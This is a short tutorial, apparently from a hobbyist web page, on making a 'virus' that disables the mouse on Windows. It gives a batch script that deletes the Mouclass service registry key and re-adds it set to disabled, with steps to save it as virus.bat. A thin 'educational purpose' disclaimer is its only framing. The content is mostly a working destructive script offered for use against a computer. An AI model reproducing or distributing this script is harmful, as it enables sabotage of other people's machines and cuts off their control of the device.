How to make a virus that disable mouse...

this is only for educational purpose and think before trying..:-

Steps:
1.open notepad
2.copy the codes given below
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
3.save this file as virus.bat
4.done